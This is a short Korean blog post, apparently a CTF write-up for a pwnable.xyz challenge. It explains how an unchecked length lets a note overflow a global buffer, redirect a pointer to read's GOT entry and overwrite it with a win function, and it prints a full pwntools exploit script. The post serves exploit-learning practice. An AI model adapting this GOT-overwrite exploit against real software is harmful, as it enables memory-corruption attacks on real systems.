본문으로 바로가기

main함수에서 1을 입력하면 edit note 함수를 실행시키고, 2를 누르면 edit desc함수를 실행시킨다.

edit not함수에서는 입력받을 길이를 정하고, 문자열을 입력한다. 

하지만 입력받을 길이에 제한을 두지 않는다. 

문자열을 입력할때는 전역변수 buf에 입력한다. 이렇게 입력받은 buf는 전역변수 s에 복사된다.


edit desc에서는 buf에 20만큼을 입력받는다.


위의 메모리 구조를 보자. 문자열 s의 32바이트 아래 전역변수 buf가 있다.

따라서 s를 오버플로우시켜 buf를 read함수의 got로 변조시킨다.


그리고 edit desc에다가 win함수의 주소를 써넣은 후, edit desc함수를 한번 더 호출시켜 read함수를 또 호출한다.

이렇게하면 플래그를 볼수있다.


익스코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
  
= remote("svc.pwnable.xyz"30016)
 
read_got = 0x601248
win_add = 0x40093c
 
r.recvuntil("> ")
r.sendline("1")
 
r.recvuntil("len? ")
r.sendline(str(32+20))
 
r.recvuntil("note: ")
r.sendline("A"*32 + p64(read_got))
 
r.recvuntil("> ")
r.sendline("2")
 
r.recvuntil("desc: ")
r.sendline(p64(win_add))
 
r.recvuntil("> ")
r.sendline("2")
 
print r.recvall()
 
cs

폰툴로 익스를 짜다가 느낀건데, 슬슬 파이썬에서 함수를 어떻게 사용하지는지를 공부해야 할 것같다.

너무 똑같은부분이 많이나온다..